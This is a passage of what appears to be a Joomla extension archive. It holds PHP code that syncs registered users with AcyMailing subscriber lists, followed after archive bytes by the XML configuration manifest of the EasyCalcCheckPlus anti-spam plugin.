				return true;
			}
		}

		return false;
	}

	private function _addCSS(){
		$style = $this->params->get('customcss');
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);

		if(empty($style) && version_compare($jversion, '1.6.0', '<')) return;

		if(empty($style)){
			$app = JFactory::getApplication();
			$stylestring = '<style type="text/css">'."\n";
			if(version_compare($jversion, '3.0.0', '>=')){
				$stylestring .= '.acyregfield label, .acysubscribe label {float:left; width:160px; '.(!$app->isAdmin() ? 'text-align:right;' : '').'}'."\n";
				$stylestring .= '.acyregfield span label, .acysubscribe .acy_lists label {width:auto;}'."\n";
				$stylestring .= '.acyregfield div:first-of-type, .acyregfield select:first-of-type, .acyregfield input, .acyregfield textarea, .acysubscribe input {margin-left:20px;}'."\n";
				$stylestring .= '.acyregfield, .acysubscribe {clear:both; padding-top:18px;}'."\n";
			}elseif(version_compare($jversion, '1.6.0', '>=') && $app->isAdmin()){
				$stylestring .= 'table.acy_lists{float:left;}'."\n";
			}
			$stylestring .= '</style>'."\n";
		}else{
			$stylestring = '<style type="text/css">'."\n".$style."\n".'</style>'."\n";
		}
		$body = JResponse::getBody();
		$body = preg_replace('#</head>#', $stylestring.'</head>', $body, 1);
		JResponse::setBody($body);
	}


	function onUserBeforeSave($user, $isnew, $new){
		return $this->onBeforeStoreUser($user, $isnew);
	}

	function plgVmOnAskQuestion($VendorEmail, $vars, $function){
		$user = JFactory::getUser();

		$db = JFactory::getDBO();
		$db->setQuery('SELECT id FROM #__users WHERE email = '.$db->Quote($vars['user'][email]));
		$id = $db->loadResult();
		if(empty($id)){
			$isnew = true;
			$user->id = 0;
		}else{
			$isnew = false;
			$user->id = $id;
		}
		$user->email = $vars['user'][email];
		$user->name = $vars['user'][name];
		$user->block = 0;

		$this->onAfterStoreUser($user, $isnew, true, '');
	}

	function onBeforeStoreUser($user, $isnew){

		if(is_object($user)) $user = get_object_vars($user);

		$this->oldUser = $user;

		return true;
	}

	function onAfterUserCreate(&$element){
		$app = JFactory::getApplication();
		$formData = JRequest::getVar('data', array(), '', 'array');

		if(empty($element->user_email) || empty($formData['address']) || !empty($element->user_cms_id) || $app->isAdmin()) return;

		JRequest::setVar('acy_source', 'hikashop');

		$name = @$formData['address']['address_firstname'].(!empty($formData['address']['address_middle_name']) ? ' '.$formData['address']['address_middle_name'] : '').(!empty($formData['address']['address_lastname']) ? ' '.$formData['address']['address_lastname'] : '');
		$user = array('id' => 0, 'block' => 0, 'email' => $element->user_email, 'name' => $name);
		$this->onAfterStoreUser($user, true, true, '');
	}

	function onUserAfterSave($user, $isnew, $success, $msg){
		return $this->onAfterStoreUser($user, $isnew, $success, $msg);
	}

	function onAfterStoreUser($user, $isnew, $success, $msg){

		if(is_object($user)) $user = get_object_vars($user);

		if($success === false OR empty($user['email'])) return true;

		$helperFile = rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php';
		if(!file_exists($helperFile) || !include_once($helperFile)) return true;

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new JParameter($plugin->params);
		}

		if(!JRequest::getCmd('acy_source')) JRequest::setVar('acy_source', 'joomla');

		$config = acymailing_config();
		$app = JFactory::getApplication();

		$userClass = acymailing_get('class.subscriber');
		$joomUser = new stdClass();
		$joomUser->email = trim(strip_tags($user['email']));
		if(!empty($user['name'])) $joomUser->name = trim(strip_tags($user['name']));
		if(empty($user['block']) && !$this->params->get('forceconf', 0)) $joomUser->confirmed = 1;
		$joomUser->enabled = 1 - (int)$user['block'];
		$joomUser->userid = $user['id'];

		$userHelper = acymailing_get('helper.user');
		if(!$userHelper->validEmail($joomUser->email)) return true;

		if(!$app->isAdmin()) $userClass->geolocRight = true;

		if(!$isnew AND !empty($this->oldUser['email']) AND $user['email'] != $this->oldUser['email']){
			$joomUser->subid = $userClass->subid($this->oldUser['email']);
		}
		if(empty($joomUser->subid)){
			if(empty($joomUser->userid)){
				$joomUser->subid = null;
			}else{
				$joomUser->subid = $userClass->subid($joomUser->userid);
			}
		}

		if(!empty($joomUser->subid)){
			$currentSubid = $userClass->subid($joomUser->email);
			if(!empty($currentSubid) && $joomUser->subid != $currentSubid){
				$userClass->delete($currentSubid);
			}
		}

		$userClass->checkVisitor = false;
		$userClass->sendConf = false;

		$isnew = (bool)($isnew || empty($joomUser->subid));

		$customValues = JRequest::getVar('regacy', array(), '', 'array');
		$session = JFactory::getSession();
		if(empty($customValues) && $session->get('regacy')){
			$customValues = $session->get('regacy');
			$session->set('regacy', null);
		}
		if(!empty($customValues)){
			$userClass->checkFields($customValues, $joomUser);
		}

		$userClass->triggerFilterBE = true;
		$subid = $userClass->save($joomUser);

		$listsToSubscribe = ($isnew) ? $config->get('autosub', 'None') : 'None';
		$currentSubscription = $userClass->getSubscriptionStatus($subid);

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$session = JFactory::getSession();
		$visiblelistschecked = JRequest::getVar('acysub', array(), '', 'array');
		if(empty($visiblelistschecked) && $session->get('acysub')){
			$visiblelistschecked = $session->get('acysub');
			$session->set('acysub', null);
		}

		$acySubHidden = JRequest::getString('acysubhidden');
		if(empty($acySubHidden) && $session->get('acysubhidden')){
			$acySubHidden = $session->get('acysubhidden');
			$session->set('acysubhidden', null);
		}

		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$allvisiblelists = JRequest::getString('allVisibleLists');
		$allvisiblelistsArray = explode(',', $allvisiblelists);

		$listsArray = array();
		if(strpos($listsToSubscribe, ',') || is_numeric($listsToSubscribe)){
			$listsArrayParam = explode(',', $listsToSubscribe);
			foreach($allLists as $oneList){
				$okSub = false;
				if(in_array($oneList->listid, $listsArrayParam) && (!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked))) $okSub = true;
				if($oneList->published && (in_array($oneList->listid, $visiblelistschecked) || $okSub)){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(strtolower($listsToSubscribe) == 'all'){
			foreach($allLists as $oneList){
				$okSub = false;
				if(!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked)) $okSub = true;
				if($oneList->published && $okSub){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(!empty($visiblelistschecked)){
			foreach($allLists as $oneList){
				if($oneList->published && in_array($oneList->listid, $visiblelistschecked)){
					$listsArray[] = $oneList->listid;
				}
			}
		}
		$statusAdd = (empty($joomUser->enabled) || (empty($joomUser->confirmed) && $config->get('require_confirmation', false))) ? 2 : 1;
		$addlists = array();
		if(!empty($listsArray)){
			foreach($listsArray as $idOneList){
				if(!isset($currentSubscription[$idOneList]) || $currentSubscription[$idOneList]->status == -1){
					$addlists[$statusAdd][$idOneList] = $idOneList;
				}
			}
		}

		$listsubClass = acymailing_get('class.listsub');
		$userSubscriptions = $listsubClass->getSubscription($subid);

		if(!$isnew && !empty($allvisiblelistsArray)){
			$subscribedLists = array_keys($userSubscriptions);
			$unsubscribeLists = array_intersect($subscribedLists, array_diff($allvisiblelistsArray, $visiblelistschecked));
			if(!empty($unsubscribeLists)) $listsubClass->updateSubscription($subid, array(-1 => $unsubscribeLists));
		}

		if(!empty($addlists)){
			if(!empty($user['gid'])) $listsubClass->gid = $user['gid'];
			if(!empty($user['groups'])) $listsubClass->gid = $user['groups'];
			$listsToUpdate = array_intersect(array_keys($userSubscriptions), $addlists[$statusAdd]);
			$updateLists = array();

			if(!empty($listsToUpdate)){
				foreach($listsToUpdate as $key => $oneListToUpdate){
					if($userSubscriptions[$oneListToUpdate]->status == -1 && !in_array($oneListToUpdate, $allvisiblelistsArray)) continue;
					$updateLists[] = $oneListToUpdate;
				}

				if(!empty($updateLists)) $listsubClass->updateSubscription($subid, array($statusAdd => $updateLists));
				$addlists[$statusAdd] = array_diff($addlists[$statusAdd], $listsToUpdate);
			}

			if(!empty($addlists[$statusAdd])) $listsubClass->addSubscription($subid, $addlists);
		}

		if($isnew && $this->params->get('sendnotif', false)){
			$userClass->sendNotification();
		}

		$listssub = $listsubClass->getSubscription($subid);

		if($isnew && $this->params->get('forceconf', 0) && empty($user['block'])){
			$userClass->sendConf($subid);
			return true;
		}

		if($isnew || empty($this->oldUser['block']) || !empty($user['block'])) return true;

		if($this->params->get('forceconf', 0)){
			if(!empty($listssub)) $userClass->sendConf($subid);
		}else{
			$userClass->confirmSubscription($subid);
		}

		return true;
	}

	function onUserAfterDelete($user, $success, $msg){
		return $this->onAfterDeleteUser($user, $success, $msg);
	}

	function onAfterDeleteUser($user, $success, $msg){
		if(is_object($user)) $user = get_object_vars($user);

		if($success === false || empty($user['email'])) return true;

		$helperFile = rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php';
		if(!file_exists($helperFile) || !include_once($helperFile)) return true;

		$userClass = acymailing_get('class.subscriber');
		$subid = $userClass->subid($user['email']);
		if(!empty($subid)){
			if($this->params->get('deletebehavior', '0') == 0){
				$userClass->delete($subid);
			}else{
				$db = JFactory::getDBO();
				$db->setQuery('UPDATE #__acymailing_subscriber SET `userid` = 0 WHERE subid = '.intval($subid));
				$db->query();
			}
		}

		return true;
	}

	function onExtregUserActivate($form_id = 0, $er_user = null){
		if(empty($er_user->id)) return true;
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		if(!empty($er_user->approve)){
			$db = JFactory::getDBO();
			$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = '.(int)$er_user->approve.' WHERE subid ='.intval($userSubid);
			$db->setQuery($query);
			$db->query();
		}
		$userClass->confirmSubscription($userSubid);
		return true;
	}

	function onExtregUserApprove($form_id = 0, $er_user = null){
		if(empty($er_user->id)) return true;
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		$db = JFactory::getDBO();
		$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = "1" WHERE subid ='.intval($userSubid);
		$db->setQuery($query);
		$db->query();

		return true;
	}
}//endclass
PK!�$��O�O'easycalccheckplus/easycalccheckplus.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension type="plugin" version="3.9" group="system" method="upgrade">
    <name>PLG_SYSTEM_EASYCALCCHECKPLUS</name>
    <version>3.3.0.0-FREE</version>
    <creationDate>2021-05-03</creationDate>
    <license>https://www.gnu.org/licenses/gpl</license>
    <copyright>Copyright 2021 Viktor Vogel. All rights reserved.</copyright>
    <author>Viktor Vogel</author>
    <authoremail>admin@kubik-rubik.de</authoremail>
    <authorurl>https://kubik-rubik.de/</authorurl>
    <description>PLG_SYSTEM_EASYCALCCHECKPLUS_XML_DESCRIPTION</description>
    <variant>free</variant>
    <files>
        <filename plugin="easycalccheckplus">easycalccheckplus.php</filename>
        <filename plugin="easycalccheckplus">index.html</filename>
        <folder plugin="easycalccheckplus">src</folder>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_system_easycalccheckplus.ini</language>
        <language tag="en-GB">en-GB/en-GB.plg_system_easycalccheckplus.sys.ini</language>
        <language tag="de-DE">de-DE/de-DE.plg_system_easycalccheckplus.ini</language>
        <language tag="de-DE">de-DE/de-DE.plg_system_easycalccheckplus.sys.ini</language>
    </languages>
    <scriptfile>src/Script.php</scriptfile>
    <updateservers>
        <server type="extension" priority="1" name="PLG_SYSTEM_EASYCALCCHECKPLUS">https://check.kubik-rubik.de/updates/easycalccheckplus.xml</server>
    </updateservers>
    <config>
        <fields name="params" addfieldpath="/plugins/system/easycalccheckplus/src/fields">
            <fieldset name="PLG_SYSTEM_EASYCALCCHECKPLUS_CHECKS">
                <field type="krdonationcodecheck"/>
                <field name="internalchecksOutputTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_INTERNALCHECKS_OUTPUT"/>
                <field name="typeCalc" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_CALCCHECK" description="PLG_SYSTEM_EASYCALCCHECKPLUS_CALCCHECK_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="operator" type="list" showon="typeCalc:1" default="2" label="PLG_SYSTEM_EASYCALCCHECKPLUS_OPERATOR" description="PLG_SYSTEM_EASYCALCCHECKPLUS_OPERATOR_DESC">
                    <option value="0">+</option>
                    <option value="1">-</option>
                    <option value="2">PLG_SYSTEM_EASYCALCCHECKPLUS_RANDOM</option>
                </field>
                <field name="operand" type="list" showon="typeCalc:1" default="2" label="PLG_SYSTEM_EASYCALCCHECKPLUS_OPERAND" description="PLG_SYSTEM_EASYCALCCHECKPLUS_OPERAND_DESC">
                    <option value="2">2</option>
                    <option value="3">3</option>
                </field>
                <field name="negative" type="list" showon="typeCalc:1" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_NEGATIVE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_NEGATIVE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="convertToString" type="list" showon="typeCalc:1" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_CONVERT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_CONVERT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="maxValue" type="text" showon="typeCalc:1" default="20" label="PLG_SYSTEM_EASYCALCCHECKPLUS_MAXIMUMVALUE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_MAXIMUMVALUE_DESC"/>
                <field name="typeHidden" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HIDDENFIELD" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HIDDENFIELD_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="typeTime" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TIMEHIDDEN" description="PLG_SYSTEM_EASYCALCCHECKPLUS_TIMEHIDDEN_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="typeTimeSec" type="text" showon="typeTime:1" default="5" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TIMEHIDDENSEC" description="PLG_SYSTEM_EASYCALCCHECKPLUS_TIMEHIDDENSEC_DESC"/>
                <field name="question" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTION" description="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTION_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="questions" type="subform" showon="question:1" formsource="plugins/system/easycalccheckplus/src/fields/question.xml" multiple="true" layout="joomla.form.field.subform.repeatable" groupByFieldset="true" label="PLG_SYSTEM_EASYCALCCHECKPLUS_QUESTIONS" description=""/>
                <field name="reCaptchaTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_RECAPTCHA"/>
                <field name="recaptcha" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHA" description="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHA_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="recaptchaTheme" type="list" showon="recaptcha:1" default="light" label="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHA_THEME" description="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHA_THEME_DESC">
                    <option value="light">Light</option>
                    <option value="dark">Dark</option>
                </field>
                <field name="recaptchaPublicKey" type="text" showon="recaptcha:1" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHAPUBLICKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHAPUBLICKEY_DESC"/>
                <field name="recaptchaPrivateKey" type="text" showon="recaptcha:1" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHAPRIVATEKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_RECAPTCHAPRIVATEKEY_DESC"/>
                <field name="hcaptchaTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_HCAPTCHA"/>
                <field name="hcaptcha" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="hCaptchaTheme" type="list" showon="hcaptcha:1" default="light" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_THEME" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_THEME_DESC">
                    <option value="light">Light</option>
                    <option value="dark">Dark</option>
                </field>
                <field name="hcaptchaSiteKey" type="text" showon="hcaptcha:1" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_SITEKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_SITEKEY_DESC"/>
                <field name="hcaptchaSecret" type="text" showon="hcaptcha:1" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_SECRET" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HCAPTCHA_SECRET_DESC"/>
            </fieldset>
            <fieldset name="PLG_SYSTEM_EASYCALCCHECKPLUS_FORMS">
                <field type="krdonationcodecheck"/>
                <field name="coreFormsTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_CORE"/>
                <field name="userRegistration" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_USERREGISTRATION" description="PLG_SYSTEM_EASYCALCCHECKPLUS_USERREGISTRATION_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="userLogin" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_USERLOGIN" description="PLG_SYSTEM_EASYCALCCHECKPLUS_USERLOGIN_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="userLoginAttempts" type="text" showon="userLogin:1" default="3" size="10" label="PLG_SYSTEM_EASYCALCCHECKPLUS_USERLOGINATTEMPTS" description="PLG_SYSTEM_EASYCALCCHECKPLUS_USERLOGINATTEMPTS_DESC"/>
                <field name="contact" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_CONTACTFORM" description="PLG_SYSTEM_EASYCALCCHECKPLUS_CONTACTFORM_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="mailtoContent" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_MAILTO_CONTENT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_MAILTO_CONTENT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="3rdpartyFormsTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_3RDPARTY"/>
                <field name="aicontactsafe" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_AICONTACTSAFE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_AICONTACTSAFE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="alfcontact" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_ALFCONTACT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_ALFCONTACT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="communitybuilder" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_COMMUNITYBUILDER" description="PLG_SYSTEM_EASYCALCCHECKPLUS_COMMUNITYBUILDER_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="dfcontact" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_DFCONTACT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_DFCONTACT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="easybookreloaded" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_EASYBOOKRELOADED" description="PLG_SYSTEM_EASYCALCCHECKPLUS_EASYBOOKRELOADED_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="foxcontact" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_FOXCONTACT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_FOXCONTACT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="flexicontact" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_FLEXICONTACT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_FLEXICONTACT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="flexicontactplus" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_FLEXICONTACTPLUS" description="PLG_SYSTEM_EASYCALCCHECKPLUS_FLEXICONTACTPLUS_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="iproperty" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_IPROPERTY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_IPROPERTY_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="jomsocial" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_JOMSOCIAL" description="PLG_SYSTEM_EASYCALCCHECKPLUS_JOMSOCIAL_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="kunena" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_KUNENA" description="PLG_SYSTEM_EASYCALCCHECKPLUS_KUNENA_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="phocaguestbook" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_PHOCAGUESTBOOK" description="PLG_SYSTEM_EASYCALCCHECKPLUS_PHOCAGUESTBOOK_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="virtuemart" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_VIRTUEMART" description="PLG_SYSTEM_EASYCALCCHECKPLUS_VIRTUEMART_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </fieldset>
            <fieldset name="PLG_SYSTEM_EASYCALCCHECKPLUS_SETTINGS">
                <field type="krdonationcodecheck"/>
                <field name="outputTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_OUTPUT"/>
                <field name="encode" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_ENCODE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_ENCODE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="autofillValues" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_KEEPVALUES" description="PLG_SYSTEM_EASYCALCCHECKPLUS_KEEPVALUES_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="warnReference" type="list" showon="autofillValues:0" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_WARNINGREFERENCE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_WARNINGREFERENCE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="onlyGuests" type="list" default="1" label="PLG_SYSTEM_EASYCALCCHECKPLUS_ONLYGUESTS" description="PLG_SYSTEM_EASYCALCCHECKPLUS_ONLYGUESTS_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="blockIpTitle" type="krTitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_BLOCKIP"/>
                <field name="blockIp" type="krproinput" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP_DESC"/>
                <field name="blockIpCount" type="krproinput" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP_COUNT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP_COUNT_DESC"/>
                <field name="blockIpSeconds" type="krproinput" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP_SECONDS" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKIP_SECONDS_DESC"/>
                <field name="backendTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_BACKEND"/>
                <field name="backendProtection" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BACKENDPROTECTION" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BACKENDPROTECTION_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="token" type="text" showon="backendProtection:1" default="" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TOKEN" description="PLG_SYSTEM_EASYCALCCHECKPLUS_TOKEN_DESC"/>
                <field name="urlFalseToken" type="text" showon="backendProtection:1" default="" size="40" label="PLG_SYSTEM_EASYCALCCHECKPLUS_URLFALSETOKEN" description="PLG_SYSTEM_EASYCALCCHECKPLUS_URLFALSETOKEN_DESC"/>
                <field name="internalChecksTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_INTERNALCHECKS"/>
                <field name="sqlInjectionLfi" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_SQLINJECTIONANDLOCALFILEINCLUSION" description="PLG_SYSTEM_EASYCALCCHECKPLUS_SQLINJECTIONANDLOCALFILEINCLUSION_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="expertTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_EXPERT"/>
                <field name="blockDirectSubmissions" type="krproinput" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKDIRECTSUBMISSIONS" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BLOCKDIRECTSUBMISSIONS_DESC"/>
                <field name="customCall" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_CUSTOMCALL" description="PLG_SYSTEM_EASYCALCCHECKPLUS_CUSTOMCALL_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="stringAlternative" type="textarea" default="" filter="raw" label="PLG_SYSTEM_EASYCALCCHECKPLUS_STRINGALTERNATIVE" description="PLG_SYSTEM_EASYCALCCHECKPLUS_STRINGALTERNATIVE_DESC" rows="3" cols="25"/>
            </fieldset>
            <fieldset name="PLG_SYSTEM_EASYCALCCHECKPLUS_ANTISPAMSERVICES">
                <field type="krdonationcodecheck"/>
                <field name="antispamNoregistrationtitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_ANTISPAM_NOREGISTRATION"/>
                <field name="stopForumSpam" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_STOPFORUMSPAM" description="PLG_SYSTEM_EASYCALCCHECKPLUS_STOPFORUMSPAM_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="antispamFreeregistrationTitle" type="krtitle" label="PLG_SYSTEM_EASYCALCCHECKPLUS_TITLE_ANTISPAM_FREEREGISTRATION"/>
                <field name="honeyPot" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HONEYPOT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HONEYPOT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="honeyPotKey" type="text" showon="honeyPot:1" default="" label="PLG_SYSTEM_EASYCALCCHECKPLUS_HONEYPOTKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_HONEYPOTKEY_DESC"/>
                <field name="akismet" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_AKISMET" description="PLG_SYSTEM_EASYCALCCHECKPLUS_AKISMET_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="akismetKey" type="text" showon="akismet:1" default="" label="PLG_SYSTEM_EASYCALCCHECKPLUS_AKISMETKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_AKISMETKEY_DESC"/>
                <field name="botScout" type="list" default="0" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BOTSCOUT" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BOTSCOUT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
